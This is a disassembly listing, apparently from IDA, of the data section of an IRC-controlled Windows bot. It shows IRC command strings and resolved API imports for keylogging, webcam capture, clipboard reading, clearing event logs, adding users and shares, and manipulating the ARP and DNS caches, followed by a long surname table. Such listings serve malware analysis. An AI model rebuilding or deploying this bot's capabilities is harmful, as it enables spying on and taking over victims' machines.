aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+5F1o
unk_42CD50	db    3			; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2E79o ...
a81VrxUserSLo_1	db '8,1-VrX- User %s logged out.',0
		align 10h
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7A88o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_417B76:loc_417BDEo
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3BBo ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_417B76+50o
		align 4
asc_42CDBC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7B9Do
		unicode	0, <!>,0
asc_42CDC0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E41o ...
		unicode	0, < >,0
asc_42CDC4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_4025E6o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409869+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409909+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409909+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409909:loc_40A573o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409909+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409909+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409909+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409909+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409909+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409909+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409909:loc_40A4D5o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409909+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409909+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409909:loc_40A48Bo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409909+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409909+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409909+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409909+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409909:loc_40A417o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409909+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409909+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409909:loc_40A3CDo
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409909+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409909+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409909:loc_40A383o
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409909+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409909+9ECo
					; sub_418AF1+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409909+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409909+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409909+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409909+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409909+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409909+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409909+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409909+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409909+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409909+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409909:loc_40A267o
					; sub_418AF1+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409909+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409909+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409909+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409909:loc_40A208o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409909+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409909+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409909+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409909+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409909+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409909+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409909+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409909+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409909+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409909+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409909+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409909:loc_40A0E8o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409909+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409909+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409909+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409909+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409909+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409909+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409909+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409909+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409909+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409909+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409909+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409909+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409909+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409909+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409909+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409909+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409909+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409909+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409909+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409909+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409909+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409909+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409909+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409909+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409909+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409909+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409909+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409909+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409909+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409909+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409909+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409909+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409909+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409909+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409909+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409909+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409909+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409909+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409909+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409909+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409909:loc_409D36o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409909:loc_409D0Eo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409909+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409909+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409909+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409909+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409909+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409909+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409909+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409909:loc_409C60o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409909+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409909+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409909:loc_409C1Bo
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409909+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409909+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409909+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409909+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409909+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409909+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409909+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409909+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409909:loc_409B68o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409909+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409909+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409909+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409909:loc_409B01o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409909+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409909+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409909+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409909+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409909+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409909+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409909+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409909+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409909:loc_409A3Eo
					; sub_425029+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409909:loc_409A11o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409909+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409909+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409909+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409909+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409909+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409909+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409909+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409909+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409909+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409909+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409909+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409909+Ao
		align 4
unk_42D6C4	db  2Dh	; -		; DATA XREF: sub_40A5C5+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A5C5+28o
		align 10h
a_:					; DATA XREF: sub_41036B+252o
		unicode	0, <.>,0
unk_42D854	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9E7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42D884	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A9B5o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42D8B4	db  2Dh	; -		; DATA XREF: sub_40A928:loc_40A981o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42D8D8	db  2Dh	; -		; DATA XREF: sub_40A928+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AA06+46o
					; sub_40C2AF+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42D91C	dd 0			; DATA XREF: sub_40AE84+7o
off_42D920	dd offset sub_40AAAC	; DATA XREF: sub_40AE84+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AB19h, 7474656Ch, 7265h, 0
		dd 2, 40AB77h, 706D6F63h, 2 dup(0)
		dd 3, 40ABC4h, 6E756F63h, 797274h, 0
		dd 4, 40AC62h, 736Fh, 2	dup(0)
		dd 5, 40ACD7h, 6E6C6C61h, 6B6369h, 0
		dd 6, 40AEEDh
off_42D99C	dd offset aAbdulrazak	; DATA XREF: sub_40AAAC+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42D9A8	dd offset aAddison	; DATA XREF: sub_40AE84+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
